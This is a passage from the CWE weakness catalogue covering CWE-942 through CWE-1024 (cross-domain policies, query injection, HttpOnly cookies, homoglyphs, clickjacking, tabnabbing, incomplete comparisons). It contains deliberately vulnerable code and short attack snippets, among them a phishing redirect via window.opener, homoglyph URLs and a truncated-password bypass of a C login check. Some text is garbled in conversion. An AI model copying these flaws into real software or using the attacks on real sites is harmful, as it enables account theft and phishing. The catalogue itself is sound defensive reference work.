The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1600
CanPrecede		406	Insufficient Control of Network Message Volume (Network Amplification)	883

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	1897

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		417	Communication Channel Errors	1794

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

## Demonstrative Examples

### Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

*Example Language: Python*

*(bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
```

```
sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

### Observed Examples

Reference	Description
<b>CVE-2013-5211</b>	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211</a>
<b>CVE-1999-0513</b>	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513</a>
<b>CVE-1999-1379</b>	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1379">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1379</a>

### Notes

#### Maintenance

This entry will be made more comprehensive in later CWE versions.

## CWE-942: Overly Permissive Cross-domain Whitelist

**Weakness ID** : 942

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The software uses a cross-domain policy file that includes domains that should not be trusted.

### Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a whitelist of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.

An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		183	Permissive List of Allowed Inputs	423
ChildOf		284	Improper Access Control	618
CanPrecede		668	Exposure of Resource to Wrong Sphere	1301

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1893

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Bypass Protection Mechanism	
Availability	Read Application Data	
Access Control	Varies by Context	
<p><i>An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</i></p>		

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Attack Surface Reduction*

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Attack Surface Reduction*

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

**Demonstrative Examples****Example 1:**

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

*Example Language: XML*

*(bad)*

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*" />
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

*Example Language: XML*

*(bad)*

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*" />
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

**Observed Examples**

Reference	Description
<b>CVE-2012-2292</b>	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2292">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2292</a>
<b>CVE-2014-2049</b>	The default Flash Cross Domain policies in a product allows remote attackers to access user files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2049">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2049</a>
<b>CVE-2007-6243</b>	Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6243">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6243</a>
<b>CVE-2008-4822</b>	Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy.

## CWE-943: Improper Neutralization of Special Elements in Data Query Logic

**Weakness ID** : 943

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

### Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
- Append additional commands to the query
- Return more entities than intended
- Return fewer entities than intended
- Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	186
ParentOf		90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	197
ParentOf		643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1260
ParentOf		652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1275

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	1900

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Integrity	Read Application Data	
Availability	Modify Application Data	
Access Control	Varies by Context	

## Observed Examples

Reference	Description
<b>CVE-2014-2503</b>	Injection using Documentum Query Language (DQL) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2503">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2503</a>
<b>CVE-2014-2508</b>	Injection using Documentum Query Language (DQL) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2508">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2508</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1903

## Notes

### Relationship

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

**Maintenance**

This entry will be made more comprehensive in future CWE versions.

**CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag****Weakness ID** : 1004**Status**: Incomplete**Structure** : Simple**Abstraction** : Variant**Description**

The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

**Extended Description**

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1363

**Applicable Platforms**

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

**Background Details**

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

**Likelihood Of Exploit**

Medium

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.</i>	
Integrity	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	<i>If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.</i>	

## Potential Mitigations

### Phase: Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

*Effectiveness = High*

*While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHttpRequest to read the headers directly and obtain the cookie.*

## Demonstrative Examples

### Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

*Example Language: Java*

*(bad)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

*Example Language: JavaScript*

*(attack)*

```
document.write('')
```

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

*Example Language: Java*

*(good)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

## Observed Examples

Reference	Description
<b>CVE-2014-3852</b>	CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3852">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3852</a>
<b>CVE-2015-4138</b>	Appliance for managing encrypted communications does not use HttpOnly flag. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4138">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4138</a>

## CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User

**Weakness ID** : 1007

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.

### Extended Description

Some glyphs, pictures, or icons can be semantically distinct to a program, while appearing very similar or identical to a human user. These are referred to as homoglyphs. For example, the lowercase "l" (ell) and uppercase "I" (eye) have different character codes, but these characters can be displayed in exactly the same way to a user, depending on the font. This can also occur between different character sets. For example, the Latin capital letter "A" and the Greek capital letter "Α" (Alpha) are treated as distinct by programs, but may be displayed in exactly the same way to a user. Accent marks may also cause letters to appear very similar, such as the Latin capital letter grave mark "À" and its equivalent "Â" with the acute accent.

Adversaries can exploit this visual similarity for attacks such as phishing, e.g. by providing a link to an attacker-controlled hostname that looks like a hostname that the victim trusts. In a different use of homoglyphs, an adversary may create a back door username that is visually similar to the username of a regular user, which then makes it more difficult for a system administrator to detect the malicious username while reviewing logs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		451	User Interface (UI) Misrepresentation of Critical Information	960

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	1788

### Weakness Ordinalities

**Resultant** :

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Sometimes*)

## Alternate Terms

**Homograph Attack** : "Homograph" is often used as a synonym of "homoglyph" by researchers, but according to Wikipedia, a homograph is a word that has multiple, distinct meanings.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Other  <i>An attacker may ultimately redirect a user to a malicious website, by deceiving the user into believing the URL they are accessing is a trusted domain. However, the attack can also be used to forge log entries by using homoglyphs in usernames. Homoglyph manipulations are often the first step towards executing advanced attacks such as stealing a user's credentials, Cross-Site Scripting (XSS), or log forgery. If an attacker redirects a user to a malicious site, the attacker can mimic a trusted domain to steal account credentials and perform actions on behalf of the user, without the user's knowledge. Similarly, an attacker could create a username for a website that contains homoglyph characters, making it difficult for an admin to review logs and determine which users performed which actions.</i>	

## Detection Methods

### Manual Dynamic Analysis

If utilizing user accounts, attempt to submit a username that contains homoglyphs. Similarly, check to see if links containing homoglyphs can be sent via email, web browsers, or other mechanisms.

*Effectiveness = Moderate*

## Potential Mitigations

### Phase: Implementation

Use a browser that displays Punycode for IDNs in the URL and status bars, or which color code various scripts in URLs. Due to the prominence of homoglyph attacks, several browsers now help safeguard against this attack via the use of Punycode. For example, Mozilla Firefox and Google Chrome will display IDNs as Punycode if top-level domains do not restrict which characters can be used in domain names or if labels mix scripts for different languages.

### Phase: Implementation

Use an email client that has strict filters and prevents messages that mix character sets to end up in a user's inbox. Certain email clients such as Google's GMail prevent the use of non-Latin characters in email addresses or in links contained within emails. This helps prevent homoglyph attacks by flagging these emails and redirecting them to a user's spam folder.

## Demonstrative Examples

### Example 1:

The following looks like a simple, trusted URL that a user may frequently access.

Example Language:

(attack)

```
http://www.#x#m###.##m
```

However, the URL above is comprised of Cyrillic characters that look identical to the expected ASCII characters. This results in most users not being able to distinguish between the two and assuming that the above URL is trusted and safe. The "e" is actually the "CYRILLIC SMALL LETTER IE" which is represented in HTML as the character `&#x0435`, while the "a" is actually the "CYRILLIC SMALL LETTER A" which is represented in HTML as the character `&#x0430`. The "p", "c", and "o" are also Cyrillic characters in this example. Viewing the source reveals a URL of "http://www.&#x0435;x&#x0430;m&#x0440;l&#x0435;. &#x0441;&#x043e;m". An adversary can utilize this approach to perform an attack such as a phishing attack in order to drive traffic to a malicious website.

**Example 2:**

The following displays an example of how creating usernames containing homoglyphs can lead to log forgery.

Assume an adversary visits a legitimate, trusted domain and creates the account "admin" where the 'a' and 'i' characters are Cyrillic characters instead of the expected ASCII. Any actions the adversary performs will be saved to the log file and look like they came from a legitimate administrator account.

Example Language:

(result)

```
123.123.123.123 #dm#n [17/Jul/2017:09:05:49 -0400] "GET /example/users/userlist HTTP/1.1" 401 12846
123.123.123.123 #dm#n [17/Jul/2017:09:06:51 -0400] "GET /example/users/userlist HTTP/1.1" 200 4523
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
```

However, upon closer inspection, the account that generated these log entries is "&#x0430;dm&#x0456;n". This makes it more difficult to determine which actions were performed by the adversary and which actions were executed by the legitimate "admin" account.

**Observed Examples**

Reference	Description
<b>CVE-2013-7236</b>	web forum allows impersonation of users with homoglyphs in account names <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7236">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7236</a>

## CWE-1021: Improper Restriction of Rendered UI Layers or Frames

**Weakness ID :** 1021

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.

### Extended Description

A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		451	User Interface (UI) Misrepresentation of Critical Information	960
ChildOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	948

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1210

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	1788

### Applicable Platforms

**Technology :** Web Based (*Prevalence = Undetermined*)

### Alternate Terms

**Clickjacking :**

**UI Redress Attack :**

**Tapjacking :** "Tapjacking" is similar to clickjacking, except it is used for mobile applications in which the user "taps" the application instead of performing a mouse click.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Read Application Data Modify Application Data  <i>An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trick the user into changing privacy settings.</i>	

## Potential Mitigations

### Phase: Implementation

The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content. The concept of X-Frame-Options is well documented, but implementation of this protection mechanism is in development to cover gaps. There is a need for whitelisting and allowing frames from multiple domains.

### Phase: Implementation

A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned. It is also important to note that this tactic has been circumvented or bypassed. Improper usage of frames can persist in the web application through nested frames. The "frame-breaking" script does not intuitively account for multiple nested frames that can be presented to the user.

### Phase: Implementation

This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the developer should use the "frame-ancestors" directive or the "frame-src" directive to mitigate this weakness. Both directives allow for the placement of restrictions when it comes to allowing embedded content.

## Observed Examples

Reference	Description
<b>CVE-2017-7440</b>	E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7440">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7440</a></i>
<b>CVE-2017-5697</b>	Hardware/firmware product has insufficient clickjacking protection in its web user interface <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5697">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5697</a></i>
<b>CVE-2017-4015</b>	Clickjacking in data-loss prevention product via HTTP response header. <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-4015">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-4015</a></i>

## CWE-1022: Use of Web Link to Untrusted Target with window.opener Access

<b>Weakness ID</b> : 1022	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.

### Extended Description

When a user clicks a link to an external site ("target"), the target="\_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link. If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin. An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		266	Incorrect Privilege Assignment	579

### Applicable Platforms

**Language** : JavaScript (*Prevalence = Often*)

**Technology** : Web Based (*Prevalence = Often*)

### Alternate Terms

**tabnabbing :**

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic  <i>The user may be redirected to an untrusted page that contains undesired content or malicious script code.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Specify in the design that any linked external document must not be granted access to the location object of the calling page.

### Phase: Implementation

When creating a link to an external document using the <a> tag with a defined target, for example "\_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer". If opening the external document in a new window via javascript, then reset the opener by setting it equal to null.

### Phase: Implementation

Do not use "\_blank" targets. However, this can affect the usability of your application.

## Demonstrative Examples

### Example 1:

In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.

There are two ways that this weakness is commonly seen. The first is when the application generates an <a> tag with target="\_blank" to point to a target site:

*Example Language: HTML*

*(bad)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank">
```

If the attacker offers a useful page on this link (or compromises a trusted, popular site), then a user may click on this link. However, the attacker could use scripting code to modify the window.opener's location property to redirect the application to a malicious, attacker-controlled page - such as one that mimics the look and feel of the original application and convinces the user to re-enter authentication credentials, i.e. phishing:

*Example Language: JavaScript*

*(attack)*

```
window.opener.location = 'http://phishing.example.org/popular-bank-page';
```

To mitigate this type of weakness, some browsers support the "rel" attribute with a value of "noopener", which sets the window.opener object equal to null. Another option is to use the "rel" attribute with a value of "noreferrer", which in essence does the same thing.

*Example Language: HTML*

*(good)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank" rel="noopener noreferrer">
```

A second way that this weakness is commonly seen is when opening a new site directly within JavaScript. In this case, a new site is opened using the window.open() function.

Example Language: JavaScript

(bad)

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
```

To mitigate this, set the window.opener object to null.

Example Language: JavaScript

(good)

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
newWindow.opener = null;
```

## CWE-1023: Incomplete Comparison with Missing Factors

**Weakness ID** : 1023

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

The software performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.

### Extended Description

An incomplete comparison can lead to resultant weaknesses, e.g., by operating on the wrong object or making a security decision without considering a required factor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1346
ParentOf	B	184	Incomplete List of Disallowed Inputs	425
ParentOf	V	187	Partial String Comparison	432
ParentOf	B	478	Missing Default Case in Switch Statement	1016
ParentOf	B	839	Numeric Range Comparison Without Minimum Check	1550

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

## Demonstrative Examples

### Example 1:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C

(bad)

```

/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (!strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}

```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language:

(attack)

```

p
pa
pas

```

*pass*

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

## CWE-1024: Comparison of Incompatible Types

**Weakness ID :** 1024

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.

### Extended Description

In languages that are strictly typed but support casting/conversion, such as C or C++, the programmer might assume that casting one entity to the same type as another entity will ensure that the comparison will be performed correctly, but this cannot be guaranteed. In languages that are not strictly typed, such as PHP or JavaScript, there may be implicit casting/conversion to a type that the programmer is unaware of, causing unexpected results; for example, the string "123" might be converted to a number type. See examples.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Potential Mitigations

### Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.
